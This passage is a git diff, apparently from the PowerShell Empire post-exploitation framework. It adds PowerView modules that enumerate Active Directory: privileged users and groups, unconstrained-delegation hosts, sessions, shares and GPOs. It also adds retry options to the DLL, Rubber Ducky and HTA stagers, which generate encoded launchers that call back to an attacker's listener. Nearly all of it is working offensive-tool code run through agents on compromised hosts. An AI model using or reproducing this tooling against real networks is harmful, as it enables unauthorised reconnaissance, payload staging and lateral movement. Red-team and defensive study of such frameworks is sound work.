a/lib/modules/situational_awareness/network/powerview/get_computer.py b/lib/modules/situational_awareness/network/powerview/get_computer.py index aa7d5dfe8..530b55744 100644 --- a/lib/modules/situational_awareness/network/powerview/get_computer.py +++ b/lib/modules/situational_awareness/network/powerview/get_computer.py @@ -65,6 +65,11 @@ def __init__(self, mainMenu, params=[]): 'Required' : False, 'Value' : '' }, + 'Unconstrained' : { + 'Description' : "Switch. Return computer objects that have unconstrained delegation.", + 'Required' : False, + 'Value' : '' + }, 'FullData' : { 'Description' : "Switch. Return full computer objects instead of just system names (the default).", 'Required' : False, diff --git a/lib/modules/situational_awareness/network/powerview/get_dfs_share.py b/lib/modules/situational_awareness/network/powerview/get_dfs_share.py new file mode 100644 index 000000000..a2cd19a0d --- /dev/null +++ b/lib/modules/situational_awareness/network/powerview/get_dfs_share.py @@ -0,0 +1,93 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-DFSshare', + + 'Author': ['@meatballs__'], + + 'Description': ('Returns a list of all fault-tolerant distributed file systems for a given domain. Part of PowerView.'), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Domain' : { + 'Description' : 'The domain whose trusts to enumerate, defaults to the current domain.', + 'Required' : False, + 'Value' : '' + }, + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) + + script += moduleName + " " + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + + return script diff --git a/lib/modules/situational_awareness/network/powerview/get_domain_policy.py b/lib/modules/situational_awareness/network/powerview/get_domain_policy.py new file mode 100644 index 000000000..80010cd6a --- /dev/null +++ b/lib/modules/situational_awareness/network/powerview/get_domain_policy.py @@ -0,0 +1,108 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-DomainPolicy', + + 'Author': ['@harmj0y'], + + 'Description': ('Returns the default domain or DC policy for a given domain or domain controller. Part of PowerView.'), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Source' : { + 'Description' : 'Extract Domain or DC (domain controller) policies.', + 'Required' : True, + 'Value' : 'Domain' + }, + 'Domain' : { + 'Description' : 'The domain to query for default policies, defaults to the current domain.', + 'Required' : False, + 'Value' : '' + }, + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', + 'Required' : False, + 'Value' : '' + }, + 'ResolveSids' : { + 'Description' : 'Switch. Resolve Sids from a DC policy to object names.', + 'Required' : False, + 'Value' : '' + }, + 'FullData' : { + 'Description' : 'Switch. Return full subnet objects instead of just object names (the default).', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) + + script += moduleName + " " + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += ' | fl | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + + return script diff --git a/lib/modules/situational_awareness/network/powerview/get_fileserver.py b/lib/modules/situational_awareness/network/powerview/get_fileserver.py new file mode 100644 index 000000000..bed97ee83 --- /dev/null +++ b/lib/modules/situational_awareness/network/powerview/get_fileserver.py @@ -0,0 +1,93 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-NetFileServer', + + 'Author': ['@harmj0y'], + + 'Description': ('Returns a list of all file servers extracted from user homedirectory, scriptpath, and profilepath fields. Part of PowerView.'), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Domain' : { + 'Description' : 'The domain whose trusts to enumerate, defaults to the current domain.', + 'Required' : False, + 'Value' : '' + }, + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) + + script += moduleName + " " + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + + return script diff --git a/lib/modules/situational_awareness/network/powerview/get_gpo.py b/lib/modules/situational_awareness/network/powerview/get_gpo.py index 8fa6b2cc5..787381938 100644 --- a/lib/modules/situational_awareness/network/powerview/get_gpo.py +++ b/lib/modules/situational_awareness/network/powerview/get_gpo.py @@ -9,7 +9,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@harmj0y'], - 'Description': ('Gets a list of all current GPOs in a domain.'), + 'Description': ('Gets a list of all current GPOs in a domain. Part of PowerView.'), 'Background' : True, @@ -41,7 +41,12 @@ def __init__(self, mainMenu, params=[]): 'Value' : '' }, 'DisplayName' : { - 'Description' : 'The GPO display name to query for, wildcards accepted. ', + 'Description' : 'The GPO display name to query for, wildcards accepted.', + 'Required' : False, + 'Value' : '' + }, + 'ComputerName' : { + 'Description' : 'Return all GPO objects applied to a given computer (FQDN).', 'Required' : False, 'Value' : '' }, diff --git a/lib/modules/situational_awareness/network/powerview/get_gpo_computer.py b/lib/modules/situational_awareness/network/powerview/get_gpo_computer.py new file mode 100644 index 000000000..9eef9b900 --- /dev/null +++ b/lib/modules/situational_awareness/network/powerview/get_gpo_computer.py @@ -0,0 +1,110 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-GPOComputer', + + 'Author': ['@harmj0y'], + + 'Description': ('Takes a GPO GUID and returns the computers the GPO is applied to. Part of PowerView.'), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'GUID' : { + 'Description' : 'The GUID of the GPO to enumerate.', + 'Required' : True, + 'Value' : '' + }, + 'Domain' : { + 'Description' : 'The domain to use for the query, defaults to the current domain.', + 'Required' : False, + 'Value' : '' + }, + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, ['Get-NetOU', 'Get-NetComputer']) + + script += "Get-NetOU " + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += " | %{ Get-NetComputer -ADSPath $_" + + for option,values in self.options.iteritems(): + if option.lower() != "agent" and option.lower() != "guid": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + + script += '} | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + + return script diff --git a/lib/modules/situational_awareness/network/powerview/get_group.py b/lib/modules/situational_awareness/network/powerview/get_group.py index a45ebbef8..a069293ce 100644 --- a/lib/modules/situational_awareness/network/powerview/get_group.py +++ b/lib/modules/situational_awareness/network/powerview/get_group.py @@ -50,6 +50,11 @@ def __init__(self, mainMenu, params=[]): 'Required' : False, 'Value' : '' }, + 'AdminCount' : { + 'Description' : 'Switch. Return groups with adminCount=1 (i.e. privileged groups).', + 'Required' : False, + 'Value' : '' + }, 'Filter' : { 'Description' : 'A customized ldap filter string to use, e.g. "(description=*admin*)"', 'Required' : False, diff --git a/lib/modules/situational_awareness/network/powerview/get_group_member.py b/lib/modules/situational_awareness/network/powerview/get_group_member.py index 918b834a6..20b774ed9 100644 --- a/lib/modules/situational_awareness/network/powerview/get_group_member.py +++ b/lib/modules/situational_awareness/network/powerview/get_group_member.py @@ -38,7 +38,7 @@ def __init__(self, mainMenu, params=[]): 'GroupName' : { 'Description' : 'The group name to query for users.', 'Required' : True, - 'Value' : '' + 'Value' : '"Domain Admins"' }, 'SID' : { 'Description' : 'The Group SID to query for users.', @@ -69,6 +69,11 @@ def __init__(self, mainMenu, params=[]): 'Description' : 'Switch. If the group member is a group, recursively try to query its members as well.', 'Required' : False, 'Value' : '' + }, + 'UseMatchingRule' : { + 'Description' : 'Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query when -Recurse is specified.', + 'Required' : False, + 'Value' : '' } } diff --git a/lib/modules/situational_awareness/network/powerview/get_localgroup.py b/lib/modules/situational_awareness/network/powerview/get_localgroup.py index eca392661..3e87365ec 100644 --- a/lib/modules/situational_awareness/network/powerview/get_localgroup.py +++ b/lib/modules/situational_awareness/network/powerview/get_localgroup.py @@ -48,11 +48,16 @@ def __init__(self, mainMenu, params=[]): 'Description' : 'Switch. List all the local groups instead of their members.', 'Required' : False, 'Value' : '' - }, + }, 'Recurse' : { 'Description' : 'Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine.', 'Required' : False, 'Value' : '' + }, + 'API' : { + 'Description' : 'Switch. Use API calls instead of the WinNT service provider. Less information, but the results are faster.', + 'Required' : False, + 'Value' : '' } } diff --git a/lib/modules/situational_awareness/network/powerview/get_loggedon.py b/lib/modules/situational_awareness/network/powerview/get_loggedon.py index be0ea2416..31454c848 100644 --- a/lib/modules/situational_awareness/network/powerview/get_loggedon.py +++ b/lib/modules/situational_awareness/network/powerview/get_loggedon.py @@ -9,7 +9,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@harmj0y'], - 'Description': ('Execute the NetWkstaUserEnum Win32API call to query a given host for actively logged on users.'), + 'Description': ('Execute the NetWkstaUserEnum Win32API call to query a given host for actively logged on users. Part of PowerView.'), 'Background' : True, diff --git a/lib/modules/situational_awareness/network/powerview/get_object_acl.py b/lib/modules/situational_awareness/network/powerview/get_object_acl.py index 22710867b..e1edb0424 100644 --- a/lib/modules/situational_awareness/network/powerview/get_object_acl.py +++ b/lib/modules/situational_awareness/network/powerview/get_object_acl.py @@ -9,7 +9,8 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@harmj0y', '@pyrotek3'], - 'Description': ('Returns the ACLs associated with a specific active directory object. Part of PowerView.'), + 'Description': ('Returns the ACLs associated with a specific active directory object. Part of PowerView. ' + 'WARNING: specify a specific object, otherwise a huge amount of data will be returned.'), 'Background' : True, diff --git a/lib/modules/situational_awareness/network/powerview/get_rdp_session.py b/lib/modules/situational_awareness/network/powerview/get_rdp_session.py new file mode 100644 index 000000000..48a2fbdcc --- /dev/null +++ b/lib/modules/situational_awareness/network/powerview/get_rdp_session.py @@ -0,0 +1,89 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-NetRDPSession', + + 'Author': ['@harmj0y'], + + 'Description': ("Query a given RDP remote service for active sessions and originating IPs (replacement for qwinsta). " + "Note: needs admin rights on the remote server you're querying"), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'ComputerName' : { + 'Description' : 'The hostname to query for active RDP sessions.', + 'Required' : True, + 'Value' : 'localhost' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) + + script += moduleName + " " + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + + return script diff --git a/lib/modules/situational_awareness/network/powerview/get_session.py b/lib/modules/situational_awareness/network/powerview/get_session.py index bfb9de179..6ac652ea0 100644 --- a/lib/modules/situational_awareness/network/powerview/get_session.py +++ b/lib/modules/situational_awareness/network/powerview/get_session.py @@ -9,7 +9,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@harmj0y'], - 'Description': ('Execute the NetSessionEnum Win32API call to query a given host for active sessions on the host.'), + 'Description': ('Execute the NetSessionEnum Win32API call to query a given host for active sessions on the host. Part of PowerView.'), 'Background' : True, diff --git a/lib/modules/situational_awareness/network/powerview/get_site.py b/lib/modules/situational_awareness/network/powerview/get_site.py new file mode 100644 index 000000000..66da62b7f --- /dev/null +++ b/lib/modules/situational_awareness/network/powerview/get_site.py @@ -0,0 +1,113 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-NetSite', + + 'Author': ['@harmj0y'], + + 'Description': ('Gets a list of all current sites in a domain. Part of PowerView.'), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'SiteName' : { + 'Description' : 'Site filter string, wildcards accepted.', + 'Required' : False, + 'Value' : '' + }, + 'GUID' : { + 'Description' : 'Only return site with the specified GUID in their gplink property.', + 'Required' : False, + 'Value' : '' + }, + 'Domain' : { + 'Description' : 'The domain to use for the query, defaults to the current domain.', + 'Required' : False, + 'Value' : '' + }, + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', + 'Required' : False, + 'Value' : '' + }, + 'ADSpath' : { + 'Description' : 'The LDAP source to search through.', + 'Required' : False, + 'Value' : '' + }, + 'FullData' : { + 'Description' : 'Switch. Return full site objects instead of just object names (the default).', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) + + script += moduleName + " " + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + + return script diff --git a/lib/modules/situational_awareness/network/powerview/get_subnet.py b/lib/modules/situational_awareness/network/powerview/get_subnet.py new file mode 100644 index 000000000..288ac7b43 --- /dev/null +++ b/lib/modules/situational_awareness/network/powerview/get_subnet.py @@ -0,0 +1,108 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-NetSubnet', + + 'Author': ['@harmj0y'], + + 'Description': ('Gets a list of all current subnets in a domain. Part of PowerView.'), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'SiteName' : { + 'Description' : 'Only return subnets from the specified SiteName.', + 'Required' : False, + 'Value' : '' + }, + 'Domain' : { + 'Description' : 'The domain to use for the query, defaults to the current domain.', + 'Required' : False, + 'Value' : '' + }, + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', + 'Required' : False, + 'Value' : '' + }, + 'ADSpath' : { + 'Description' : 'The LDAP source to search through.', + 'Required' : False, + 'Value' : '' + }, + 'FullData' : { + 'Description' : 'Switch. Return full subnet objects instead of just object names (the default).', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) + + script += moduleName + " " + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + + return script diff --git a/lib/modules/situational_awareness/network/powerview/get_user.py b/lib/modules/situational_awareness/network/powerview/get_user.py index 46513e4a4..36cf81f19 100644 --- a/lib/modules/situational_awareness/network/powerview/get_user.py +++ b/lib/modules/situational_awareness/network/powerview/get_user.py @@ -55,6 +55,11 @@ def __init__(self, mainMenu, params=[]): 'Required' : False, 'Value' : '' }, + 'AdminCount' : { + 'Description' : 'Switch. Return users with adminCount=1 (i.e. privileged users).', + 'Required' : False, + 'Value' : '' + }, 'Filter' : { 'Description' : 'A customized ldap filter string to use, e.g. "(description=*admin*)"', 'Required' : False, @@ -64,6 +69,11 @@ def __init__(self, mainMenu, params=[]): 'Description' : 'Switch. Only return user objects with non-null service principal names.', 'Required' : False, 'Value' : '' + }, + 'AllowDelegation' : { + 'Description' : "Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'.", + 'Required' : False, + 'Value' : '' } } diff --git a/lib/modules/situational_awareness/network/powerview/process_hunter.py b/lib/modules/situational_awareness/network/powerview/process_hunter.py index 46392daea..5e6cf3181 100644 --- a/lib/modules/situational_awareness/network/powerview/process_hunter.py +++ b/lib/modules/situational_awareness/network/powerview/process_hunter.py @@ -9,7 +9,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@harmj0y'], - 'Description': ('Query the process lists of remote machines, searching for processes with a specific name or owned by a specific user.'), + 'Description': ('Query the process lists of remote machines, searching for processes with a specific name or owned by a specific user. Part of PowerView.'), 'Background' : True, diff --git a/lib/modules/situational_awareness/network/powerview/set_ad_object.py b/lib/modules/situational_awareness/network/powerview/set_ad_object.py index 7364bd479..885bd4fc6 100644 --- a/lib/modules/situational_awareness/network/powerview/set_ad_object.py +++ b/lib/modules/situational_awareness/network/powerview/set_ad_object.py @@ -11,7 +11,7 @@ def __init__(self, mainMenu, params=[]): 'Description': ('Takes a SID, name, or SamAccountName to query for a specified ' 'domain object, and then sets a specified "PropertyName" to a ' - 'specified "PropertyValue"'), + 'specified "PropertyValue". Part of PowerView.'), 'Background' : True, @@ -35,6 +35,11 @@ def __init__(self, mainMenu, params=[]): 'Required' : True, 'Value' : '' }, + 'SID' : { + 'Description' : "The SID of the domain object you're querying for.", + 'Required' : False, + 'Value' : '' + }, 'Name' : { 'Description' : "The name of the domain object you're querying for.", 'Required' : False, diff --git a/lib/modules/situational_awareness/network/powerview/user_hunter.py b/lib/modules/situational_awareness/network/powerview/user_hunter.py index 00df95ba9..fdef2a170 100644 --- a/lib/modules/situational_awareness/network/powerview/user_hunter.py +++ b/lib/modules/situational_awareness/network/powerview/user_hunter.py @@ -154,6 +154,6 @@ def generate(self): else: script += " -" + str(option) + " " + str(values['Value']) - script += ' | ft -wrap | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + script += ' | fl | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' return script diff --git a/lib/modules/trollsploit/rick_astley.py b/lib/modules/trollsploit/rick_astley.py new file mode 100644 index 000000000..e9431257c --- /dev/null +++ b/lib/modules/trollsploit/rick_astley.py @@ -0,0 +1,71 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-RickAstley', + + 'Author': ['@SadProcessor', '@harmj0y'], + + 'Description': ("Runs @SadProcessor's beeping rickroll."), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : False, + + 'MinPSVersion' : '2', + + 'Comments': [ + "https://gist.github.com/SadProcessor/3e413f9542b01ee90979" + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleName = self.info["Name"] + + # read in the common powerup.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/trollsploit/Get-RickAstley.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + script = f.read() + f.close() + + script += moduleName + " " + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + + return script diff --git a/lib/stagers/dll.py b/lib/stagers/dll.py index 0a38f89dc..0e700d6c0 100644 --- a/lib/stagers/dll.py +++ b/lib/stagers/dll.py @@ -35,6 +35,11 @@ def __init__(self, mainMenu, params=[]): 'Required' : True, 'Value' : '' }, + 'StagerRetries' : { + 'Description' : 'Times for the stager to retry connecting.', + 'Required' : False, + 'Value' : '0' + }, 'UserAgent' : { 'Description' : 'User-agent string to use for the staging request (default, none, or other).', 'Required' : False, @@ -77,7 +82,7 @@ def generate(self): userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] - + stagerRetries = self.options['StagerRetries']['Value'] if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script @@ -85,7 +90,7 @@ def generate(self): return "" else: # generate the PowerShell one-liner with all of the proper options set - launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) if launcher == "": print helpers.color("[!] Error in launcher generation.") diff --git a/lib/stagers/ducky.py b/lib/stagers/ducky.py index a538fb099..78861fc3c 100644 --- a/lib/stagers/ducky.py +++ b/lib/stagers/ducky.py @@ -25,6 +25,11 @@ def __init__(self, mainMenu, params=[]): 'Required' : True, 'Value' : '' }, + 'StagerRetries' : { + 'Description' : 'Times for the stager to retry connecting.', + 'Required' : False, + 'Value' : '0' + }, 'OutFile' : { 'Description' : 'File to output duckyscript to.', 'Required' : True, @@ -65,10 +70,11 @@ def generate(self): userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] + stagerRetries = self.options['StagerRetries']['Value'] # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) - + launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) + if launcher == "": print helpers.color("[!] Error in launcher command generation.") return "" diff --git a/lib/stagers/hta.py b/lib/stagers/hta.py index a55a210cf..02e76cbdc 100644 --- a/lib/stagers/hta.py +++ b/lib/stagers/hta.py @@ -25,9 +25,14 @@ def __init__(self, mainMenu, params=[]): 'Required' : True, 'Value' : '' }, + 'StagerRetries' : { + 'Description' : 'Times for the stager to retry connecting.', + 'Required' : False, + 'Value' : '0' + }, 'OutFile' : { 'Description' : 'File to output HTA to, otherwise displayed on the screen.', - 'Required' : True, + 'Required' : False, 'Value' : '' }, 'Base64' : { @@ -71,19 +76,21 @@ def generate(self): userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] + stagerRetries = self.options['StagerRetries']['Value'] encode = False if base64.lower() == "true": encode = True # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) if launcher == "": print helpers.color("[!] Error in launcher command generation.") return "" - else: - code = "" + else: + code = "" + return code diff --git a/lib/stagers/launcher.py b/lib/stagers/launcher.py index ac3619f6c..06836cdc4 100644 --- a/lib/stagers/launcher.py +++ b/lib/stagers/launcher.py @@ -25,6 +25,11 @@ def __init__(self, 